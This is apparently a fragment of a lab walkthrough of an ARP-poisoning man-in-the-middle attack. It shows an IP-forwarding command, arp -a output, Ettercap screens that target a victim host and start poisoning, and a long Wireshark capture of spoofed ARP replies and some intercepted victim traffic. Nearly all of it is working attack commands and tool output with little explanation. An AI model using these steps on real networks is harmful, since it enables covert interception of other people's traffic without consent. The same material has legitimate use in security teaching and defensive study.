

echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

We scanned the network (eth0) to be sure that the victim IP address is there.

```
(kali㉿kali)-[~]  
└─$ arp -a  
? (192.168.1.154) at 76:30:ae:17:42:31 [ether] on eth0  
? (192.168.1.208) at da:2f:ae:4c:39:55 [ether] on eth0  
? (192.168.1.161) at 4e:92:e7:e7:35:8f [ether] on eth0  
? (192.168.1.239) at 70:66:55:cf:35:d7 [ether] on eth0  
? (192.168.1.214) at <incomplete> on eth0  
? (192.168.1.167) at 76:30:ae:17:42:31 [ether] on eth0  
_gateway (192.168.1.1) at 9c:a2:f4:8b:3d:f8 [ether] on eth0  
? (192.168.1.251) at a2:bd:4f:f7:02:0e [ether] on eth0
```



Ettercap
0.8.3.1 (EB)

Host List x

IP Address	MAC Address	Description
192.168.1.1	9C:A2:F4:8B:3D:F8	
192.168.1.154	76:30:AE:17:42:31	
192.168.1.167	76:30:AE:17:42:31	
192.168.1.239	70:66:55:CF:35:D7	
192.168.1.251	A2:BD:4F:F7:02:0E	

Delete Host

Add to Target 1

Starting Unified sniffing...

Randomizing 255 hosts for scanning...

Scanning the whole netmask for 255 hosts...

5 hosts added to the hosts list...

Host 192.168.1.167 added to TARGET1

IP Address	MAC Address	Description
192.168.1.1	9C:A2:F4:8B:3D:F8	
192.168.1.154	76:30:AE:17:42:31	
192.168.1.167	76:30:AE:17:42:31	
192.168.1.239	70:66:55:CF:35:D7	
192.168.1.251	A2:BD:4F:F7:02:0E	

Cancel

MITM Attack: ARP Poisoning

OK

?

Optional parameters

☒ Sniff remote connections.

☐ Only poison one-way.

Delete Host

ARP poisoning victims:

GROUP 1: 192.168.1.167 76:30:AE:17:42:31

GROUP 2 : ANY (all the hosts in the list)

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help									
eth.addr == 76:30:ae:17:42:31									
No.	Time	Source	Destination	Protocol	Length	Info			
554	207.844547199	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.161	is at	08:00:27:41:66:73	
556	207.854887169	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.154	is at	08:00:27:41:66:73	
557	207.854965836	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.167	is at	08:00:27:41:66:73	(duplicate use of 192.168.1.154 detected!)
558	207.865321537	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.1	is at	08:00:27:41:66:73	
578	217.878717356	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.251	is at	08:00:27:41:66:73	
580	217.893371332	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.239	is at	08:00:27:41:66:73	
582	217.905844371	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.208	is at	08:00:27:41:66:73	
584	217.916185413	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.161	is at	08:00:27:41:66:73	
586	217.938863946	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.154	is at	08:00:27:41:66:73	
587	217.931072367	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.167	is at	08:00:27:41:66:73	(duplicate use of 192.168.1.154 detected!)
588	217.941575573	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.1	is at	08:00:27:41:66:73	
609	227.963830405	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.251	is at	08:00:27:41:66:73	
611	227.974474993	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.239	is at	08:00:27:41:66:73	
613	227.984805820	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.208	is at	08:00:27:41:66:73	
615	227.995176248	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.161	is at	08:00:27:41:66:73	
617	228.005505274	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.154	is at	08:00:27:41:66:73	
618	228.005595393	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.167	is at	08:00:27:41:66:73	(duplicate use of 192.168.1.154 detected!)
619	228.015895459	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.1	is at	08:00:27:41:66:73	
635	238.062922813	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.251	is at	08:00:27:41:66:73	
637	238.073814253	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.239	is at	08:00:27:41:66:73	
639	238.085965859	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.208	is at	08:00:27:41:66:73	
641	238.098913027	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.161	is at	08:00:27:41:66:73	
643	238.109497967	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.154	is at	08:00:27:41:66:73	
644	238.109616779	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.167	is at	08:00:27:41:66:73	(duplicate use of 192.168.1.154 detected!)
645	238.121348979	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.1	is at	08:00:27:41:66:73	
7876	2521.5605665	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.167	is at	08:00:27:41:66:73	(duplicate use of 192.168.1.154 detected!)
7877	2521.5700491	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.1	is at	08:00:27:41:66:73	
7879	2522.1492556	192.168.1.154	224.0.0.251	NDNS	280	Standard query response 0x0000 TXT, cache flush NSEC, cache flush Maj's MacBook Pro_companion-link_tcp.local			
7880	2522.1492864	fe80::1861:3702:ebd::ff02::fb		NDNS	280	Standard query response 0x0000 TXT, cache flush NSEC, cache flush Maj's MacBook Pro_companion-link_tcp.local			
7881	2522.5838818	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.239	is at	08:00:27:41:66:73	
7883	2522.5861922	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.208	is at	08:00:27:41:66:73	
7885	2522.6149488	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.154	is at	08:00:27:41:66:73	
7886	2522.6159438	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.167	is at	08:00:27:41:66:73	(duplicate use of 192.168.1.154 detected!)
7887	2522.6206983	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.1	is at	08:00:27:41:66:73	
7889	2523.6305424	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.239	is at	08:00:27:41:66:73	
7891	2523.6468532	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.208	is at	08:00:27:41:66:73	
7893	2523.6571259	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.154	is at	08:00:27:41:66:73	
7894	2523.6622000	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.1	is at	08:00:27:41:66:73	(duplicate use of 192.168.1.154 detected!)
7895	2523.6675049	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.1	is at	08:00:27:41:66:73	
7897	2524.1972952	192.168.1.154	224.0.0.251	NDNS	280	Standard query response 0x0000 TXT, cache flush NSEC, cache flush Maj's MacBook Pro_companion-link_tcp.local			
7898	2524.1976784	fe80::1861:3702:ebd::ff02::fb		NDNS	280	Standard query response 0x0000 TXT, cache flush NSEC, cache flush Maj's MacBook Pro_companion-link_tcp.local			
7909	2529.3905809	192.168.1.167	34.107.221.82	TCP	66	34568	-> 80 [ACK] Seq=1 Ack=1 Win=501 Len=0 TSval=2991910182 TSecr=1343248576		
7911	2530.4180920	192.168.1.167	34.107.221.82	TCP	66	[TCP Dup ACK 7909#2] 34568 -> 80 [ACK] Seq=1 Ack=1 Win=501 Len=0 TSval=2991911203 TSecr=1343248576			
7912	2531.4422660	192.168.1.167	34.107.221.82	TCP	66	[TCP Dup ACK 7909#4] 34568 -> 80 [ACK] Seq=1 Ack=1 Win=501 Len=0 TSval=2991912228 TSecr=1343248576			
7915	2532.4655854	192.168.1.167	34.107.221.82	TCP	66	[TCP Dup ACK 7909#6] 34568 -> 80 [ACK] Seq=1 Ack=1 Win=501 Len=0 TSval=2991913251 TSecr=1343248576			
7917	2533.4896334	192.168.1.167	34.107.221.82	TCP	66	34568 -> 80 [RST, ACK] Seq=2 Ack=1 Win=501 Len=0 TSval=2991914275 TSecr=1343248576			
7919	2533.6807947	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.239	is at	08:00:27:41:66:73	
7921	2533.6811468	PCSSystemtec_41:66::	76:30:ae:17:42:31	ARP	42	192.168.1.208	is at	08:00:27:41:66:73	